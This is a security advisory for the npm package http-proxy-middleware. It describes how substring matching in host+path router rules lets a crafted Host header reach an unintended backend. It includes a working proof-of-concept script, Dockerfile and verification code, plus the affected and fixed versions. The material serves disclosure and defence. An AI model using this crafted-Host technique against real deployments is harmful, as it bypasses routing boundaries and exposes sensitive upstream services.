GHSA-64mm-vxmg-q3vj
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Details
# Summary
`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
# Details
Tested code state:
- validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`
Relevant code locations:
- `src/router.ts` - `src/http-proxy-middleware.ts`
Affected public API:
- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`
Code explanation:
When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:
```ts hostAndPath.indexOf(key) > -1 ```
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
```txt localhost:3000/api ```
but the attacker-controlled host is:
```txt evillocalhost:3000 ```
and the request path is:
```txt /api ```
The concatenated attacker-controlled string:
```txt evillocalhost:3000/api ```
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend
## PoC
Create these files in the same working directory and run:
```bash bash ./run.sh ```
### File: `run.sh`
```bash #!/usr/bin/env bash set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT
echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ```
### File: `Dockerfile`
```Dockerfile FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile
COPY repo /work/repo RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction ```
### File: `verify.mjs`
```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); }
function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); }
function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); }
const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); });
const secretBackend = http.createServer((req, res) => { res.end('SECRET'); });
const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, });
const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); });
try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ```
This PoC starts:
- one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using:
```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ```
It then sends:
1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000`
Observed result from the validated PoC:
- baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass`
The PoC is considered successful only if:
1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host
# Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
Are you affected?
Enter the version of the package you're using.
Affected packages
0.16.0 Fixed in: 3.0.6 npm install http-proxy-middleware@3.0.6 4.0.0 Fixed in: 4.1.0 npm install http-proxy-middleware@4.1.0